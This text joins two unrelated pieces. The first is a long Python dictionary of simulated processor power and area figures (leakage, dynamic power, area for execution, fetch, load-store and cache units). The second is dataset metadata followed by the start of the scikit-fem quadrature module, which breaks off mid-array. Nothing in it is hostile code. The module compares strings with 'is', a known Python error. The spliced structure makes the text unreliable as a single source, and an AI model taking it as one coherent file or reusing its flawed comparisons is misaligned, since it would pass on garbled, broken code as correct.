'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.301473,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.03466,
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'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 3.42576,
'Execution Unit/Subthreshold Leakage': 1.79543,
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'Instruction Fetch Unit/Area': 5.85939,
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'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00097198,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00097198,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000843087,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000324455,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00210236,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00488941,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00944451,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.140692,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.305881,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.477854,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.96396,
'Instruction Fetch Unit/Runtime Dynamic': 0.93876,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.039381,
'L2/Runtime Dynamic': 0.0269283,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 7.59273,
'Load Store Unit/Data Cache/Runtime Dynamic': 3.0902,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.205619,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.205619,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 8.56371,
'Load Store Unit/Runtime Dynamic': 4.30987,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.507022,
'Load Store Unit/StoreQ/Runtime Dynamic': 1.01404,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.179944,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.180532,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.399995,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0501528,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.865215,
'Memory Management Unit/Runtime Dynamic': 0.230685,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 26.9009,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 5.94433e-06,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.021286,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.252088,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.27338,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 9.20538,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 2.83407e-06,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.202691,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 1.77103e-05,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.502556,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.810604,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.409166,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 1.72233,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.574776,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.94809,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 3.34585e-06,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0210794,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.152432,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.155895,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.152435,
'Execution Unit/Register Files/Runtime Dynamic': 0.176975,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.321132,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.10139,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 3.60876,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00104847,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00104847,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000909685,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.00035022,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00223945,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00524608,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.010179,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.149866,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.326579,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.509013,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 8.96396,
'Instruction Fetch Unit/Runtime Dynamic': 1.00088,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0420631,
'L2/Runtime Dynamic': 0.0286877,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 8.00094,
'Load Store Unit/Data Cache/Runtime Dynamic': 3.28873,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.218826,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.218826,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 9.03428,
'Load Store Unit/Runtime Dynamic': 4.58672,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.539586,
'Load Store Unit/StoreQ/Runtime Dynamic': 1.07917,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.191501,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.192129,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.399995,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0535475,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.885069,
'Memory Management Unit/Runtime Dynamic': 0.245677,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 27.4629,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 9.16521e-06,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.022674,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.268495,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.291178,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 9.76191,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328}],
'DRAM': {'Area': 0,
'Gate Leakage': 0,
'Peak Dynamic': 9.230770020593798,
'Runtime Dynamic': 9.230770020593798,
'Subthreshold Leakage': 4.252,
'Subthreshold Leakage with power gating': 4.252},
'L3': [{'Area': 61.9075,
'Gate Leakage': 0.0484137,
'Peak Dynamic': 0.23455,
'Runtime Dynamic': 0.250517,
'Subthreshold Leakage': 6.80085,
'Subthreshold Leakage with power gating': 3.32364}],
'Processor': {'Area': 191.908,
'Gate Leakage': 1.53485,
'Peak Dynamic': 112.659,
'Peak Power': 145.772,
'Runtime Dynamic': 42.5047,
'Subthreshold Leakage': 31.5774,
'Subthreshold Leakage with power gating': 13.9484,
'Total Cores/Area': 128.669,
'Total Cores/Gate Leakage': 1.4798,
'Total Cores/Peak Dynamic': 112.425,
'Total Cores/Runtime Dynamic': 42.2542,
'Total Cores/Subthreshold Leakage': 24.7074,
'Total Cores/Subthreshold Leakage with power gating': 10.2429,
'Total L3s/Area': 61.9075,
'Total L3s/Gate Leakage': 0.0484137,
'Total L3s/Peak Dynamic': 0.23455,
'Total L3s/Runtime Dynamic': 0.250517,
'Total L3s/Subthreshold Leakage': 6.80085,
'Total L3s/Subthreshold Leakage with power gating': 3.32364,
'Total Leakage': 33.1122,
'Total NoCs/Area': 1.33155,
'Total NoCs/Gate Leakage': 0.00662954,
'Total NoCs/Peak Dynamic': 0.0,
'Total NoCs/Runtime Dynamic': 0.0,
'Total NoCs/Subthreshold Leakage': 0.0691322,
'Total NoCs/Subthreshold Leakage with power gating': 0.0259246}}
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0
| 7
|
5b57f3da536331d6b74ea46e82e8140eeef724d2
| 50,820
|
py
|
Python
|
skfem/quadrature.py
|
carlosal1015/scikit-fem
|
1e73a417e9b43fe0a36e29807792c41fa289b77d
|
[
"BSD-3-Clause"
] | null | null | null |
skfem/quadrature.py
|
carlosal1015/scikit-fem
|
1e73a417e9b43fe0a36e29807792c41fa289b77d
|
[
"BSD-3-Clause"
] | null | null | null |
skfem/quadrature.py
|
carlosal1015/scikit-fem
|
1e73a417e9b43fe0a36e29807792c41fa289b77d
|
[
"BSD-3-Clause"
] | null | null | null |
"""Tabulated and generated quadrature points for various reference domains."""
import numpy as np
from typing import Tuple
def get_quadrature(refdom: str, norder: int) -> Tuple[np.ndarray, np.ndarray]:
"""Return a nth order accurate quadrature rule for different reference
domains.
Parameters
----------
refdom
The name of the reference domain. Valid reference domains can be found
in the following table.
+-------+-----------------+----------------+
| Name | Corner points | Maximum order |
+-------+-----------------+----------------+
| point | N.A. | infty |
+-------+-----------------+----------------+
| line | 0, 1 | infty |
+-------+-----------------+----------------+
| tri | (0,0) (0,1) | 19 |
| | (1,0) | |
+-------+-----------------+----------------+
| quad | (-1,-1) (1,-1) | infty |
| | (1,1) (-1,1) | |
+-------+-----------------+----------------+
| tet | (0,0,0) (0,0,1) | 4 |
| | (0,1,0) (1,0,0) | |
+-------+-----------------+----------------+
| hex | (-1,-1,-1), | infty |
| | (1,1,1), etc. | |
+-------+-----------------+----------------+
norder
The polynomial order upto which the requested quadrature rule is
accurate.
Returns
-------
An array of quadrature points (Ndim x Nqp) and an array of quadrature
weights (Nqp).
"""
if refdom is "tri":
return get_quadrature_tri(norder)
elif refdom is "tet":
return get_quadrature_tet(norder)
elif refdom is "line": # [0,1]
return get_quadrature_line(norder)
elif refdom is "point":
return get_quadrature_point(norder)
elif refdom is "quad": # (-1,-1) (1,-1) (1,1) (-1,1)
X, W = get_quadrature_line(norder)
# generate tensor product rule from 1D rule
A, B = np.meshgrid(X, X)
Y = 2.0*np.vstack((A.flatten(order='F'),
B.flatten(order='F'))) - 1.0
# transform weights
A, B = np.meshgrid(2*W, 2*W)
Z = A*B
W = Z.flatten(order='F')
return Y, W
elif refdom is "hex": # (-1,-1,-1), (1,1,1), etc.
X, W = get_quadrature_line(norder)
# generate tensor product rule from 1D rule
A, B, C = np.meshgrid(X, X, X)
Y = 2.0*np.vstack((A.flatten(order='F'),
B.flatten(order='F'),
C.flatten(order='F'))) - 1.0
# transform weights
A, B, C = np.meshgrid(2*W, 2*W, 2*W)
Z = A*B*C
W = Z.flatten(order='F')
return Y, W
else:
raise NotImplementedError("The given mesh type is not supported!")
def get_quadrature_tet(norder: int) -> Tuple[np.ndarray, np.ndarray]:
"""Return a nth order accurate quadrature rule for the reference
tetrahedron (0,0,0) (0,0,1) (0,1,0) (1,0,0)."""
if norder <= 1:
norder = 2
try:
return {
2: (np.array([[0.5854101966249685, 0.1381966011250105, 0.1381966011250105, 0.1381966011250105], \
[0.1381966011250105, 0.1381966011250105, 0.1381966011250105, 0.5854101966249685], \
